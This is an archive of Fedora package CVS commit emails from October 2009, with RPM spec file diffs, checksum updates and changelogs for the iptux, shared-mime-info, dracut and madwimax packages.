Subject: rpms/iptux/devel .cvsignore, 1.2, 1.3 iptux.spec, 1.2, 1.3 sources, 
	1.2, 1.3
Message-ID: <20091008154525.24AAB11C00DB@cvs1.fedora.phx.redhat.com>

Author: liangsuilong

Update of /cvs/pkgs/rpms/iptux/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25988

Modified Files:
	.cvsignore iptux.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 May 2009 06:58:32 -0000	1.2
+++ .cvsignore	8 Oct 2009 15:45:24 -0000	1.3
@@ -1 +1,2 @@
 iptux-0.4.5-2.tar.gz
+iptux-0.5.0.tar.gz


Index: iptux.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/devel/iptux.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- iptux.spec	25 Jul 2009 03:33:15 -0000	1.2
+++ iptux.spec	8 Oct 2009 15:45:24 -0000	1.3
@@ -1,11 +1,11 @@
 Name:           iptux
-Version:        0.4.5
-Release:        3%{?dist}
+Version:        0.5.0
+Release:        1%{?dist}
 Summary:        A software for sharing in LAN
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/iptux/
-Source0:        http://iptux.googlecode.com/files/%{name}-%{version}-2.tar.gz 
+Source0:        http://iptux.googlecode.com/files/%{name}-%{version}.tar.gz 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  GConf2-devel, gtk2-devel, desktop-file-utils
 BuildRequires:  gettext, dbus-devel, gstreamer-devel
@@ -42,17 +42,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc README TODO AUTHORS
+%doc ChangeLog style
 %{_bindir}/%{name}
 %{_bindir}/ihate%{name}
 %{_datadir}/applications/iptux.desktop
 %{_datadir}/%{name}/
-%{_datadir}/pixmaps/ip-tux.png
-%{_datadir}/pixmaps/i-tux.png 
+%{_datadir}/icons/hicolor/64x64/apps/i-tux.png
+%{_datadir}/icons/hicolor/64x64/apps/ip-tux.png
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.5-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Thu Oct 8 2009 Liang Suilong <liangsuilong at gmail.com> 0.5.0-1
+- Upstream to 0.5.0
+
+* Tue Mar 3 2009 Liang Suilong <liangsuilong at gmail.com> 0.4.5-2
+- Fix the spec file
 
 * Tue Mar 3 2009 Liang Suilong <liangsuilong at gmail.com> 0.4.5-1
 - Upstream to 0.4.5


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 May 2009 06:58:32 -0000	1.2
+++ sources	8 Oct 2009 15:45:24 -0000	1.3
@@ -1 +1,2 @@
 7804f8a8486e8e9fa23eb661e34b3686  iptux-0.4.5-2.tar.gz
+d5c9cfa27c1d2e75ca3954028836b4fc  iptux-0.5.0.tar.gz



From hadess at fedoraproject.org  Thu Oct  8 15:49:15 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  8 Oct 2009 15:49:15 +0000 (UTC)
Subject: rpms/shared-mime-info/F-12 defaults.list, 1.29,
	1.30 shared-mime-info.spec, 1.82, 1.83
Message-ID: <20091008154915.162DB11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/shared-mime-info/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26984

Modified Files:
	defaults.list shared-mime-info.spec 
Log Message:
* Thu Oct 08 2009 Bastien Nocera <bnocera at redhat.com> 0.70-2
- Fix brasero desktop filenames



Index: defaults.list
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-12/defaults.list,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- defaults.list	24 Sep 2009 12:52:05 -0000	1.29
+++ defaults.list	8 Oct 2009 15:49:14 -0000	1.30
@@ -80,10 +80,10 @@ application/x-rpm=gpk-install-file.deskt
 text/plain=gedit.desktop
 text/html=mozilla-firefox.desktop
 inode/directory=gnome-nautilus-folder-handler.desktop
-x-content/blank-cd=brasero-ncb.desktop
-x-content/blank-dvd=brasero-ncb.desktop
-x-content/blank-bd=brasero-ncb.desktop
-x-content/blank-hddvd=brasero-ncb.desktop
+x-content/blank-cd=brasero-nautilus.desktop
+x-content/blank-dvd=brasero-nautilus.desktop
+x-content/blank-bd=brasero-nautilus.desktop
+x-content/blank-hddvd=brasero-nautilus.desktop
 x-content/video-dvd=totem.desktop
 x-content/video-vcd=totem.desktop
 x-content/video-svcd=totem.desktop


Index: shared-mime-info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-12/shared-mime-info.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- shared-mime-info.spec	6 Oct 2009 14:53:15 -0000	1.82
+++ shared-mime-info.spec	8 Oct 2009 15:49:14 -0000	1.83
@@ -1,7 +1,7 @@
 Summary: Shared MIME information database
 Name: shared-mime-info
 Version: 0.70
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://freedesktop.org/Software/shared-mime-info
@@ -65,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man*/*
 
 %changelog
+* Thu Oct 08 2009 Bastien Nocera <bnocera at redhat.com> 0.70-2
+- Fix brasero desktop filenames
+
 * Tue Oct 06 2009 Bastien Nocera <bnocera at redhat.com> 0.70-1
 - Update to 0.70
 



From liangsuilong at fedoraproject.org  Thu Oct  8 15:56:17 2009
From: liangsuilong at fedoraproject.org (Liang Suilong)
Date: Thu,  8 Oct 2009 15:56:17 +0000 (UTC)
Subject: rpms/iptux/F-12 .cvsignore, 1.2, 1.3 iptux.spec, 1.2, 1.3 sources,
	1.2, 1.3
Message-ID: <20091008155617.712C611C00DB@cvs1.fedora.phx.redhat.com>

Author: liangsuilong

Update of /cvs/pkgs/rpms/iptux/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28777

Modified Files:
	.cvsignore iptux.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 May 2009 06:58:32 -0000	1.2
+++ .cvsignore	8 Oct 2009 15:56:17 -0000	1.3
@@ -1 +1,2 @@
 iptux-0.4.5-2.tar.gz
+iptux-0.5.0.tar.gz


Index: iptux.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/F-12/iptux.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- iptux.spec	25 Jul 2009 03:33:15 -0000	1.2
+++ iptux.spec	8 Oct 2009 15:56:17 -0000	1.3
@@ -1,11 +1,11 @@
 Name:           iptux
-Version:        0.4.5
-Release:        3%{?dist}
+Version:        0.5.0
+Release:        1%{?dist}
 Summary:        A software for sharing in LAN
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/iptux/
-Source0:        http://iptux.googlecode.com/files/%{name}-%{version}-2.tar.gz 
+Source0:        http://iptux.googlecode.com/files/%{name}-%{version}.tar.gz 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  GConf2-devel, gtk2-devel, desktop-file-utils
 BuildRequires:  gettext, dbus-devel, gstreamer-devel
@@ -42,17 +42,20 @@ rm -rf $RPM_BUILD_ROOT
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc README TODO AUTHORS
+%doc ChangeLog style
 %{_bindir}/%{name}
 %{_bindir}/ihate%{name}
 %{_datadir}/applications/iptux.desktop
 %{_datadir}/%{name}/
-%{_datadir}/pixmaps/ip-tux.png
-%{_datadir}/pixmaps/i-tux.png 
+%{_datadir}/icons/hicolor/64x64/apps/i-tux.png
+%{_datadir}/icons/hicolor/64x64/apps/ip-tux.png
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.5-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Thu Oct 8 2009 Liang Suilong <liangsuilong at gmail.com> 0.5.0-1
+- Upstream to 0.5.0
+
+* Tue Mar 3 2009 Liang Suilong <liangsuilong at gmail.com> 0.4.5-2
+- Fix the spec file
 
 * Tue Mar 3 2009 Liang Suilong <liangsuilong at gmail.com> 0.4.5-1
 - Upstream to 0.4.5


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 May 2009 06:58:32 -0000	1.2
+++ sources	8 Oct 2009 15:56:17 -0000	1.3
@@ -1 +1,2 @@
 7804f8a8486e8e9fa23eb661e34b3686  iptux-0.4.5-2.tar.gz
+d5c9cfa27c1d2e75ca3954028836b4fc  iptux-0.5.0.tar.gz



From hadess at fedoraproject.org  Thu Oct  8 16:00:21 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  8 Oct 2009 16:00:21 +0000 (UTC)
Subject: rpms/shared-mime-info/F-12 defaults.list, 1.30,
	1.31 shared-mime-info.spec, 1.83, 1.84
Message-ID: <20091008160021.3721111C0265@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/shared-mime-info/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30123

Modified Files:
	defaults.list shared-mime-info.spec 
Log Message:
* Thu Oct 08 2009 Bastien Nocera <bnocera at redhat.com> 0.70-3
- Fix gnumeric, gthumb and abiword desktop files



Index: defaults.list
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-12/defaults.list,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- defaults.list	8 Oct 2009 15:49:14 -0000	1.30
+++ defaults.list	8 Oct 2009 16:00:20 -0000	1.31
@@ -70,11 +70,11 @@ application/pdf=evince.desktop
 application/postscript=evince.desktop
 application/x-qw=gnome-gnucash.desktop
 application/x-gnucash=gnome-gnucash.desktop
-application/vnd.lotus-1-2-3=gnome-gnumeric.desktop
-application/x-oleo=gnome-gnumeric.desktop
-application/x-gnumeric=gnome-gnumeric.desktop
-application/x-xbase=gnome-gnumeric.desktop
-application/x-abiword=gnome-abiword.desktop
+application/vnd.lotus-1-2-3=fedora-gnumeric.desktop
+application/x-oleo=fedora-gnumeric.desktop
+application/x-gnumeric=fedora-gnumeric.desktop
+application/x-xbase=fedora-gnumeric.desktop
+application/x-abiword=fedora-abiword.desktop
 application/x-dvi=evince.desktop
 application/x-rpm=gpk-install-file.desktop
 text/plain=gedit.desktop
@@ -92,5 +92,5 @@ x-content/video-svcd=totem.desktop
 x-content/audio-cdda=rhythmbox.desktop
 x-content/audio-dvd=rhythmbox.desktop
 x-content/audio-player=rhythmbox.desktop
-x-content/image-dcf=gthumb-importer.desktop
-x-content/image-picturecd=gthumb-importer.desktop
+x-content/image-dcf=gthumb-import.desktop
+x-content/image-picturecd=gthumb-import.desktop


Index: shared-mime-info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-12/shared-mime-info.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- shared-mime-info.spec	8 Oct 2009 15:49:14 -0000	1.83
+++ shared-mime-info.spec	8 Oct 2009 16:00:20 -0000	1.84
@@ -1,7 +1,7 @@
 Summary: Shared MIME information database
 Name: shared-mime-info
 Version: 0.70
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://freedesktop.org/Software/shared-mime-info
@@ -65,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man*/*
 
 %changelog
+* Thu Oct 08 2009 Bastien Nocera <bnocera at redhat.com> 0.70-3
+- Fix gnumeric, gthumb and abiword desktop files
+
 * Thu Oct 08 2009 Bastien Nocera <bnocera at redhat.com> 0.70-2
 - Fix brasero desktop filenames
 



From hadess at fedoraproject.org  Thu Oct  8 16:10:32 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  8 Oct 2009 16:10:32 +0000 (UTC)
Subject: rpms/shared-mime-info/F-11 defaults.list, 1.28,
	1.29 shared-mime-info.spec, 1.79, 1.80
Message-ID: <20091008161032.F0D6A11C029B@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/shared-mime-info/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31997

Modified Files:
	defaults.list shared-mime-info.spec 
Log Message:
* Thu Oct 08 2009 Bastien Nocera <bnocera at redhat.com> 0.60-4
- Fix OO.o desktop files defaults (#508559)
- Same for Brasero, abiword, gthumb and gnumeric



Index: defaults.list
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-11/defaults.list,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- defaults.list	4 Mar 2009 12:35:12 -0000	1.28
+++ defaults.list	8 Oct 2009 16:10:32 -0000	1.29
@@ -42,48 +42,48 @@ image/x-xbitmap=gnome-eog.desktop;gthumb
 image/x-xpixmap=gnome-eog.desktop;gthumb.desktop;
 image/x-xwindowdump=gnome-eog.desktop;gthumb.desktop;
 image/svg+xml=gnome-eog.desktop;gthumb.desktop;
-application/vnd.ms-word=openoffice.org-1.9-writer.desktop
-application/vnd.wordperfect=openoffice.org-1.9-writer.desktop
-application/vnd.sun.xml.writer=openoffice.org-1.9-writer.desktop
-application/vnd.sun.xml.writer.global=openoffice.org-1.9-writer.desktop
-application/vnd.stardivision.writer=openoffice.org-1.9-writer.desktop
-application/vnd.oasis.opendocument.text=openoffice.org-1.9-writer.desktop
-application/vnd.oasis.opendocument.text-template=openoffice.org-1.9-writer.desktop
-application/vnd.oasis.opendocument.text-web=openoffice.org-1.9-writer.desktop
-application/vnd.oasis.opendocument.text-master=openoffice.org-1.9-writer.desktop
-application/vnd.ms-excel=openoffice.org-1.9-calc.desktop
-application/vnd.stardivision.calc=openoffice.org-1.9-calc.desktop
-application/vnd.sun.xml.calc=openoffice.org-1.9-calc.desktop
-application/vnd.sun.xml.calc.template=openoffice.org-1.9-calc.desktop
-application/vnd.oasis.opendocument.spreadsheet=openoffice.org-1.9-calc.desktop
-application/vnd.oasis.opendocument.spreadsheet-template=openoffice.org-1.9-calc.desktop
-application/vnd.ms-powerpoint=openoffice.org-1.9-impress.desktop
-application/vnd.stardivision.impress=openoffice.org-1.9-impress.desktop
-application/vnd.sun.xml.impress=openoffice.org-1.9-impress.desktop
-application/vnd.sun.xml.impress.template=openoffice.org-1.9-impress.desktop
-application/vnd.oasis.opendocument.presentation=openoffice.org-1.9-impress.desktop
-application/vnd.oasis.opendocument.presentation-template=openoffice.org-1.9-impress.desktop
-application/vnd.stardivision.draw=openoffice.org-1.9-draw.desktop
-application/vnd.sun.xml.draw=openoffice.org-1.9-draw.desktop
-application/vnd.sun.xml.draw.template=openoffice.org-1.9-draw.desktop
+application/vnd.ms-word=openoffice.org-writer.desktop
+application/vnd.wordperfect=openoffice.org-writer.desktop
+application/vnd.sun.xml.writer=openoffice.org-writer.desktop
+application/vnd.sun.xml.writer.global=openoffice.org-writer.desktop
+application/vnd.stardivision.writer=openoffice.org-writer.desktop
+application/vnd.oasis.opendocument.text=openoffice.org-writer.desktop
+application/vnd.oasis.opendocument.text-template=openoffice.org-writer.desktop
+application/vnd.oasis.opendocument.text-web=openoffice.org-writer.desktop
+application/vnd.oasis.opendocument.text-master=openoffice.org-writer.desktop
+application/vnd.ms-excel=openoffice.org-calc.desktop
+application/vnd.stardivision.calc=openoffice.org-calc.desktop
+application/vnd.sun.xml.calc=openoffice.org-calc.desktop
+application/vnd.sun.xml.calc.template=openoffice.org-calc.desktop
+application/vnd.oasis.opendocument.spreadsheet=openoffice.org-calc.desktop
+application/vnd.oasis.opendocument.spreadsheet-template=openoffice.org-calc.desktop
+application/vnd.ms-powerpoint=openoffice.org-impress.desktop
+application/vnd.stardivision.impress=openoffice.org-impress.desktop
+application/vnd.sun.xml.impress=openoffice.org-impress.desktop
+application/vnd.sun.xml.impress.template=openoffice.org-impress.desktop
+application/vnd.oasis.opendocument.presentation=openoffice.org-impress.desktop
+application/vnd.oasis.opendocument.presentation-template=openoffice.org-impress.desktop
+application/vnd.stardivision.draw=openoffice.org-draw.desktop
+application/vnd.sun.xml.draw=openoffice.org-draw.desktop
+application/vnd.sun.xml.draw.template=openoffice.org-draw.desktop
 application/pdf=evince.desktop
 application/postscript=evince.desktop
 application/x-qw=gnome-gnucash.desktop
 application/x-gnucash=gnome-gnucash.desktop
-application/vnd.lotus-1-2-3=gnome-gnumeric.desktop
-application/x-oleo=gnome-gnumeric.desktop
-application/x-gnumeric=gnome-gnumeric.desktop
-application/x-xbase=gnome-gnumeric.desktop
-application/x-abiword=gnome-abiword.desktop
+application/vnd.lotus-1-2-3=fedora-gnumeric.desktop
+application/x-oleo=fedora-gnumeric.desktop
+application/x-gnumeric=fedora-gnumeric.desktop
+application/x-xbase=fedora-gnumeric.desktop
+application/x-abiword=fedora-abiword.desktop
 application/x-dvi=evince.desktop
 application/x-rpm=gpk-install-file.desktop
 text/plain=gedit.desktop
 text/html=mozilla-firefox.desktop
 inode/directory=gnome-nautilus-folder-handler.desktop
-x-content/blank-cd=brasero-ncb.desktop
-x-content/blank-dvd=brasero-ncb.desktop
-x-content/blank-bd=brasero-ncb.desktop
-x-content/blank-hddvd=brasero-ncb.desktop
+x-content/blank-cd=brasero-nautilus.desktop
+x-content/blank-dvd=brasero-nautilus.desktop
+x-content/blank-bd=brasero-nautilus.desktop
+x-content/blank-hddvd=brasero-nautilus.desktop
 x-content/video-dvd=totem.desktop
 x-content/video-vcd=totem.desktop
 x-content/video-svcd=totem.desktop
@@ -92,5 +92,5 @@ x-content/video-svcd=totem.desktop
 x-content/audio-cdda=rhythmbox.desktop
 x-content/audio-dvd=rhythmbox.desktop
 x-content/audio-player=rhythmbox.desktop
-x-content/image-dcf=gthumb-importer.desktop
-x-content/image-picturecd=gthumb-importer.desktop
+x-content/image-dcf=gthumb-import.desktop
+x-content/image-picturecd=gthumb-import.desktop


Index: shared-mime-info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/shared-mime-info/F-11/shared-mime-info.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- shared-mime-info.spec	4 Mar 2009 12:30:24 -0000	1.79
+++ shared-mime-info.spec	8 Oct 2009 16:10:32 -0000	1.80
@@ -1,7 +1,7 @@
 Summary: Shared MIME information database
 Name: shared-mime-info
 Version: 0.60
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://freedesktop.org/Software/shared-mime-info
@@ -65,6 +65,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man*/*
 
 %changelog
+* Thu Oct 08 2009 Bastien Nocera <bnocera at redhat.com> 0.60-4
+- Fix OO.o desktop files defaults (#508559)
+- Same for Brasero, abiword, gthumb and gnumeric
+
 * Wed Mar 04 2009 - Bastien Nocera <bnocera at redhat.com> - 0.60-3
 - Remove Totem as handling Blu-ray and HD-DVD
 - Use brasero-ncb.desktop instead of nautilus-cd-burner for blank devices



From harald at fedoraproject.org  Thu Oct  8 16:16:07 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Thu,  8 Oct 2009 16:16:07 +0000 (UTC)
Subject: rpms/dracut/devel .cvsignore, 1.21, 1.22 dracut.spec, 1.36,
	1.37 sources, 1.22, 1.23
Message-ID: <20091008161607.53A1511C00DB@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv469

Modified Files:
	.cvsignore dracut.spec sources 
Log Message:
* Thu Oct 08 2009 Harald Hoyer <harald at redhat.com> 002-14
- add multinic support
- add s390 zfcp support
- add s390 network support



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	29 Sep 2009 16:33:55 -0000	1.21
+++ .cvsignore	8 Oct 2009 16:16:06 -0000	1.22
@@ -1 +1 @@
-dracut-002-99fd62e3.tar.bz2
+dracut-002-218292f6.tar.bz2


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/dracut.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- dracut.spec	29 Sep 2009 16:33:55 -0000	1.36
+++ dracut.spec	8 Oct 2009 16:16:07 -0000	1.37
@@ -1,4 +1,5 @@
-%define gittag 99fd62e3
+%define gittag 218292f6
+%define gittag 218292f6
 %if 0%{?fedora} < 12
 %define with_switch_root 1
 %else
@@ -14,7 +15,7 @@
 
 Name: dracut
 Version: 002
-Release: 9%{?rdist}
+Release: 14%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -120,6 +121,8 @@ rm -f $RPM_BUILD_ROOT/sbin/switch_root
 
 mkdir -p $RPM_BUILD_ROOT/boot/dracut
 mkdir -p $RPM_BUILD_ROOT/var/lib/dracut/overlay
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log
+touch $RPM_BUILD_ROOT%{_localstatedir}/log/dracut.log
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -149,11 +152,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dracut/modules.d/95resume
 %{_datadir}/dracut/modules.d/95rootfs-block
 %{_datadir}/dracut/modules.d/95dasd
+%{_datadir}/dracut/modules.d/95zfcp
+%{_datadir}/dracut/modules.d/95ccw
 %{_datadir}/dracut/modules.d/95terminfo
 %{_datadir}/dracut/modules.d/95udev-rules
 %{_datadir}/dracut/modules.d/95udev-rules.ub810
 %{_datadir}/dracut/modules.d/98syslog
 %{_datadir}/dracut/modules.d/99base
+%attr(0644,root,root) %ghost %config(missingok,noreplace) %{_localstatedir}/log/dracut.log
 
 %files network
 %defattr(-,root,root,0755)
@@ -162,6 +168,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dracut/modules.d/95iscsi
 %{_datadir}/dracut/modules.d/95nbd
 %{_datadir}/dracut/modules.d/95nfs
+%{_datadir}/dracut/modules.d/45ifcfg
 
 %files kernel 
 %defattr(-,root,root,0755)
@@ -181,6 +188,41 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Thu Oct 08 2009 Harald Hoyer <harald at redhat.com> 002-14
+- add multinic support
+- add s390 zfcp support
+- add s390 network support
+
+* Wed Oct 07 2009 Harald Hoyer <harald at redhat.com> 002-13
+- fixed init=<command> handling
+- kill loginit if "rdinitdebug" specified
+- run dmsquash-live-root after udev has settled (bug #527514)
+
+* Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 002-12
+- add missing loginit helper
+- corrected dracut manpage
+
+* Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-11
+- fixed dracut-gencmdline for root=UUID or LABEL
+
+* Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-10
+- do not destroy assembled raid arrays if mdadm.conf present
+- mount /dev/shm 
+- let udevd not resolve group and user names
+- preserve timestamps of tools on initramfs generation
+- generate symlinks for binaries correctly
+- moved network from udev to initqueue
+- mount nfs3 with nfsvers=3 option and retry with nfsvers=2
+- fixed nbd initqueue-finished
+- improved debug output: specifying "rdinitdebug" now logs
+  to dmesg, console and /init.log
+- stop udev before killing it
+- add ghost /var/log/dracut.log
+- dmsquash: use info() and die() rather than echo
+- strip kernel modules which have no x bit set
+- redirect stdin, stdout, stderr all RW to /dev/console
+  so the user can use "less" to view /init.log and dmesg
+
 * Tue Sep 29 2009 Harald Hoyer <harald at redhat.com> 002-9
 - make install of new dm/lvm udev rules optionally
 - correct dasd module typo


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	29 Sep 2009 16:33:55 -0000	1.22
+++ sources	8 Oct 2009 16:16:07 -0000	1.23
@@ -1 +1 @@
-00deb6d189ff2d0e30c754960b6a4a4d  dracut-002-99fd62e3.tar.bz2
+2165d44147737154171e2c6bce71312b  dracut-002-218292f6.tar.bz2



From atorkhov at fedoraproject.org  Thu Oct  8 16:18:43 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Thu,  8 Oct 2009 16:18:43 +0000 (UTC)
Subject: rpms/madwimax/devel import.log, NONE, 1.1 madwimax.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008161843.A1CE911C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/madwimax/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1049/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log madwimax.spec 
Log Message:
import



--- NEW FILE import.log ---
madwimax-0_1_1-2_local12:HEAD:madwimax-0.1.1-2.local12.src.rpm:1255018679


--- NEW FILE madwimax.spec ---
Name:           madwimax
Version:        0.1.1
Release:        2%{?dist}
Summary:        Driver for mobile WiMAX devices based on Samsung CMC-730 chip

Group:          System Environment/Base
License:        GPLv2+
URL:            http://code.google.com/p/madwimax/
Source0:        http://madwimax.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildRequires:  libusb1-devel asciidoc docbook2X udev
Requires:       udev dhclient

%description
madWiMAX is a reverse-engineered Linux driver for mobile WiMAX (802.16e)
devices based on Samsung CMC-730 chip. These devices are currently supported:

    * Samsung SWC-U200
    * Samsung SWC-E100
    * Samsung SWM-S10R (built in Samsung NC-10 netbook)


%prep
%setup -q


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

mv $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/z60_madwimax.rules \
    $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/60-madwimax.rules


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING NEWS README THANKS
%{_sbindir}/%{name}
%{_mandir}/man8/%{name}.8*

# These are not %config, but scripts
%{_sysconfdir}/%{name}
%{_sysconfdir}/udev/rules.d/*


%changelog
* Tue Oct 06 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
- Rename udev rules.
- Shorten description lines.

* Wed Sep 23 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
- Initial packaging.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/madwimax/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:29:25 -0000	1.1
+++ .cvsignore	8 Oct 2009 16:18:43 -0000	1.2
@@ -0,0 +1 @@
+madwimax-0.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/madwimax/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:29:25 -0000	1.1
+++ sources	8 Oct 2009 16:18:43 -0000	1.2
@@ -0,0 +1 @@
+4ebd2d74e887e6f9d6f23067a4ad8272  madwimax-0.1.1.tar.gz



From harald at fedoraproject.org  Thu Oct  8 16:22:48 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Thu,  8 Oct 2009 16:22:48 +0000 (UTC)
Subject: rpms/dracut/devel .cvsignore, 1.22, 1.23 dracut.spec, 1.37,
	1.38 sources, 1.23, 1.24
Message-ID: <20091008162248.3F24F11C00DB@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2169

Modified Files:
	.cvsignore dracut.spec sources 
Log Message:
* Thu Oct 08 2009 Harald Hoyer <harald at redhat.com> 002-15
- s390 ccw: s/layer1/layer2/g



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	8 Oct 2009 16:16:06 -0000	1.22
+++ .cvsignore	8 Oct 2009 16:22:47 -0000	1.23
@@ -1 +1 @@
-dracut-002-218292f6.tar.bz2
+dracut-002-2331d1ff.tar.bz2


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/dracut.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- dracut.spec	8 Oct 2009 16:16:07 -0000	1.37
+++ dracut.spec	8 Oct 2009 16:22:48 -0000	1.38
@@ -1,5 +1,4 @@
-%define gittag 218292f6
-%define gittag 218292f6
+%define gittag 2331d1ff
 %if 0%{?fedora} < 12
 %define with_switch_root 1
 %else
